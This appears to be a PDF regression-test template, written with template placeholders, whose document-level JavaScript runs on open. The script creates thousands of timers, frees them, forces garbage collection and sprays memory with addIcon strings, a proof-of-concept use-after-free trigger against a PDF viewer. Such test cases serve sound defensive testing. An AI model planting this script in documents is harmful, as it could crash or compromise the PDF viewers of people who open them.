| {{header}} |
| {{object 1 0}} << |
| /Type /Catalog |
| /Pages 2 0 R |
| /AcroForm 6 0 R |
| /Names <</JavaScript 13 0 R>> |
| >> |
| endobj |
| {{object 2 0}} << |
| /Type /Pages |
| /Count 1 |
| /Kids [4 0 R] |
| >> |
| endobj |
| {{object 4 0}} << |
| /Type /Page |
| /Parent 2 0 R |
| /MediaBox [0 0 612 792] |
| /CropBox [0 0 612 792] |
| /Resources <<>> |
| >> |
| endobj |
| {{object 6 0}} << |
| /DR << |
| /Font <</Helv 7 0 R>> |
| >> |
| /DA (/Helv 0 Tf 0 g) |
| /Fields [5 0 R] |
| >> |
| endobj |
| {{object 7 0}} << |
| /Type /Font |
| /Subtype /Type1 |
| /BaseFont /Helvetica |
| /Encoding /WinAnsiEncoding |
| >> |
| endobj |
| {{object 8 0}} << |
| /Type /XObject |
| /Subtype /Form |
| /FormType 1 |
| /Matrix [1 0 0 1 0 0] |
| /BBox [0 0 75.907 28.472] |
| /Resources << |
| /Font <</FXF0 7 0 R>> |
| >> |
| >> |
| stream |
| q |
| Q |
| |
| |
| endstream |
| endobj |
| {{object 11 0}} << |
| /Type /Action |
| /S /JavaScript |
| /JS 50 0 R |
| >> |
| endobj |
| {{object 13 0}} << |
| /Names [(startDelay) 11 0 R] |
| >> |
| endobj |
| {{object 50 0}} << |
| >> |
| stream |
| var timeOut = 0; |
| var array = new Array(1024*4); |
| var doc = this; |
| |
| function myFunction() { |
| try { |
| // Free the Timer Objects |
| app.clearTimeOut(timeOut); |
| for (var i=0; i<array.length; i++) { |
| for (var j=0; j<array[i].length; j++) { |
| app.clearTimeOut(array[i][j]); |
| } |
| } |
| |
| // Trigger the Garbage Collection |
| array.length = 0; |
| array.push(new ArrayBuffer(1024*1024)); |
| array.length=0; |
| array.length=1024*4; |
| var str = 'AA'; |
| for (var i = 0; i < array.length ; i++) { |
| for (var j = 0; j < 10; j++ ) { |
| doc.addIcon(str + "-" + str + str + str + str + str, doc.icons); |
| } |
| } |
| } catch(err) { |
| app.alert(err); |
| } |
| } |
| |
| function main() { |
| try { |
| for (var i = 0; i < array.length ; i++) { |
| if (i == array.length / 2) { |
| timeOut = app.setTimeOut("myFunction()", 1000); |
| } |
| array[i] = new Array(4); |
| for (var j = 0; j < array[i].length ; j++ ) { |
| array[i][j] = app.setTimeOut("aaaaaaaaaa()", 100000); |
| } |
| } |
| } catch(err) { |
| app.alert(err); |
| } |
| } |
| |
| // Execute the JS. |
| app.setTimeOut("main()", 1000); |
| |
| // Be sure all of this code ran to completion. |
| app.alert("done"); |
| endstream |
| endobj |
| {{xref}} |
| trailer << |
| /Root 1 0 R |
| >> |
| {{startxref}} |
| %%EOF |